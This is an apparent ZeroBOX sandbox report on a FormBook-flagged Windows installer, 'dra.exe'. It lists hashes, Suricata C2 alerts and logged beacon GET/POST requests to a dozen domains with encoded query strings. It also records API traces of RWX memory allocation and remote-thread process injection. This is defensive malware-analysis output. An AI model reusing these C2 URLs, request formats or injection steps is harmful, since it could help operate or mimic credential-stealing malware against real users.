popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

dra.exe

PE32 PE File DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 June 15, 2021, 9:20 p.m. June 15, 2021, 9:25 p.m.
Size 373.2KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 45efa9779ec5f51bbc501dbb6bbbba3e
SHA256 82c32dd8462adfec60639b321066c7f9a9e5377dfd442bcf2537a036e8ce7218
CRC32 2A066456
ssdeep 6144:RQqOQKFQpePgWcnnbtkjQptvdh+CiueMQiCkCltyZFUw8TTHt:uPFLgWcEQjPti9y1Cl0ZFdAN
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49205 -> 176.74.27.65:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49205 -> 176.74.27.65:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49205 -> 176.74.27.65:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49211 -> 170.33.9.230:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49211 -> 170.33.9.230:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49211 -> 170.33.9.230:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49215 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49215 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49215 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49227 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49228 -> 176.74.27.65:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49228 -> 176.74.27.65:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49228 -> 176.74.27.65:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 54.237.120.40:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 54.237.120.40:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49209 -> 54.237.120.40:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 18.130.194.62:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 18.130.194.62:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 18.130.194.62:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 3.223.115.185:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 3.223.115.185:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49207 -> 3.223.115.185:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49225 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49225 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49225 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 176.74.27.65:80 -> 192.168.56.101:49204 2030694 ET INFO BitNinja IO Security Check Misc activity
TCP 192.168.56.101:49223 -> 192.0.78.25:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49223 -> 192.0.78.25:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49223 -> 192.0.78.25:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49213 -> 66.96.162.145:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49213 -> 66.96.162.145:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49213 -> 66.96.162.145:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 69.167.154.15:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 69.167.154.15:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49217 -> 69.167.154.15:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.freelancer.wales/m3rc/?b6A=vL/RHxiiiA6u7g+ZGZfobymAyKebmLvVPY5f78CFbN0fsGmg6D75zafzNEP9qK3SWFVf46aQ&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.maxitoto.com/m3rc/?b6A=pnku5hmj8WKU3hkmKLy4HZI7N1i3BR9gbmEPZX4a5A4ZTdSC9okSQVQ4zwXhC6gDMz3rcZyp&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.labarberiadesamu.com/m3rc/?b6A=DZEGsv+h7s6k44YWTLVCOSGbjGwSX4OmVosSHww9KUAgDGuXS6X+MiKYVeg0pRrBRDIxpZD6&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.kefeiping.com/m3rc/?b6A=00f7XnZ77eR+ZPoUDpgH5WKnQHYwVtXdSNlA52O0h+x+ojc0ZxK0f0q8uWqAoTov+CMFjoRu&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.saniorsterimist.com/m3rc/?b6A=vNvwbHLDs+IaKx0w1Hv/ZWBa+J7PIhB53QsaR9MgcX0xsiI0S4uabBM9pipP375GIXc2+Qx5&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.mariozumbo.com/m3rc/?b6A=XCXzuKg2k9a+ogKZadqJ9sW19M+mbdj1MLj4Anh+qQwLyFIOTWXYYCXG+329GNYCuWcPru2M&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.hsrinspection.com/m3rc/?b6A=6ivwu2O01wZybJFfZW4+p4/n/lkfFnP+AOXcDPKcKPOyCgcVYKILNBaN/8LndKKO88XlZXWQ&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.santini7.com/m3rc/?b6A=FBhqxmBTCormjYJi3gM2ZGbMe05dgsPd8PijTuRmHntLbgLTqp/bgG26o8jehaWERBe+Zble&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.viviangee.net/m3rc/?b6A=Rplm9ZqkocxsD1M2zCYp9ODm03Tc7pnEYF+n5DVW0jtW3LTkfcu4r4feG1BsyNdfxHjYp08N&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.organicdiehards.com/m3rc/?b6A=7l1dbUSMqiDCPeHOzPCqrsLFP4EMXlU6s3N8gk39dzqxxPEiSmIbwEBw6Wqnn9G2VeHN7XSQ&DbG=_FNHAz
suspicious_features GET method with no useragent header suspicious_request GET http://www.doggyfacemask.com/m3rc/?b6A=UXOqYe4yz8Pi0UKgaUgsOC44vhizhugIUR06OG+umyYC3D+36kE8fDkh9IpHC0BszMvOWUcL&DbG=_FNHAz
request POST http://www.freelancer.wales/m3rc/
request GET http://www.freelancer.wales/m3rc/?b6A=vL/RHxiiiA6u7g+ZGZfobymAyKebmLvVPY5f78CFbN0fsGmg6D75zafzNEP9qK3SWFVf46aQ&DbG=_FNHAz
request POST http://www.maxitoto.com/m3rc/
request GET http://www.maxitoto.com/m3rc/?b6A=pnku5hmj8WKU3hkmKLy4HZI7N1i3BR9gbmEPZX4a5A4ZTdSC9okSQVQ4zwXhC6gDMz3rcZyp&DbG=_FNHAz
request POST http://www.labarberiadesamu.com/m3rc/
request GET http://www.labarberiadesamu.com/m3rc/?b6A=DZEGsv+h7s6k44YWTLVCOSGbjGwSX4OmVosSHww9KUAgDGuXS6X+MiKYVeg0pRrBRDIxpZD6&DbG=_FNHAz
request POST http://www.kefeiping.com/m3rc/
request GET http://www.kefeiping.com/m3rc/?b6A=00f7XnZ77eR+ZPoUDpgH5WKnQHYwVtXdSNlA52O0h+x+ojc0ZxK0f0q8uWqAoTov+CMFjoRu&DbG=_FNHAz
request POST http://www.saniorsterimist.com/m3rc/
request GET http://www.saniorsterimist.com/m3rc/?b6A=vNvwbHLDs+IaKx0w1Hv/ZWBa+J7PIhB53QsaR9MgcX0xsiI0S4uabBM9pipP375GIXc2+Qx5&DbG=_FNHAz
request POST http://www.mariozumbo.com/m3rc/
request GET http://www.mariozumbo.com/m3rc/?b6A=XCXzuKg2k9a+ogKZadqJ9sW19M+mbdj1MLj4Anh+qQwLyFIOTWXYYCXG+329GNYCuWcPru2M&DbG=_FNHAz
request POST http://www.hsrinspection.com/m3rc/
request GET http://www.hsrinspection.com/m3rc/?b6A=6ivwu2O01wZybJFfZW4+p4/n/lkfFnP+AOXcDPKcKPOyCgcVYKILNBaN/8LndKKO88XlZXWQ&DbG=_FNHAz
request POST http://www.santini7.com/m3rc/
request GET http://www.santini7.com/m3rc/?b6A=FBhqxmBTCormjYJi3gM2ZGbMe05dgsPd8PijTuRmHntLbgLTqp/bgG26o8jehaWERBe+Zble&DbG=_FNHAz
request POST http://www.viviangee.net/m3rc/
request GET http://www.viviangee.net/m3rc/?b6A=Rplm9ZqkocxsD1M2zCYp9ODm03Tc7pnEYF+n5DVW0jtW3LTkfcu4r4feG1BsyNdfxHjYp08N&DbG=_FNHAz
request POST http://www.organicdiehards.com/m3rc/
request GET http://www.organicdiehards.com/m3rc/?b6A=7l1dbUSMqiDCPeHOzPCqrsLFP4EMXlU6s3N8gk39dzqxxPEiSmIbwEBw6Wqnn9G2VeHN7XSQ&DbG=_FNHAz
request POST http://www.doggyfacemask.com/m3rc/
request GET http://www.doggyfacemask.com/m3rc/?b6A=UXOqYe4yz8Pi0UKgaUgsOC44vhizhugIUR06OG+umyYC3D+36kE8fDkh9IpHC0BszMvOWUcL&DbG=_FNHAz
request POST http://www.freelancer.wales/m3rc/
request POST http://www.maxitoto.com/m3rc/
request POST http://www.labarberiadesamu.com/m3rc/
request POST http://www.kefeiping.com/m3rc/
request POST http://www.saniorsterimist.com/m3rc/
request POST http://www.mariozumbo.com/m3rc/
request POST http://www.hsrinspection.com/m3rc/
request POST http://www.santini7.com/m3rc/
request POST http://www.viviangee.net/m3rc/
request POST http://www.organicdiehards.com/m3rc/
request POST http://www.doggyfacemask.com/m3rc/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 1116
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73c94000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1116
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x73c84000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 1116
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 56609
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x009057c0
process_handle: 0xffffffff
3221225477 0

NtAllocateVirtualMemory

 process_identifier: 2208
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x008f0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nst6490.tmp\System.dll
file C:\Users\test22\AppData\Local\Temp\nst6490.tmp\System.dll
Time & API Arguments Status Return Repeated

Process32NextW

 snapshot_handle: 0x000001d0
process_name: mobsync.exe
process_identifier: 2064
1 1 0

Process32NextW

 snapshot_handle: 0x000001d0
process_name: pw.exe
process_identifier: 2812
1 1 0

Process32NextW

 snapshot_handle: 0x000001d0
process_name: taskhost.exe
process_identifier: 3032
1 1 0

Process32NextW

 snapshot_handle: 0x000001d0
process_name: dra.exe
process_identifier: 1116
1 1 0
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Process injection Process 1116 called NtSetContextThread to modify thread in remote process 2208
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4313136
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x000001e4
process_identifier: 2208
1 0 0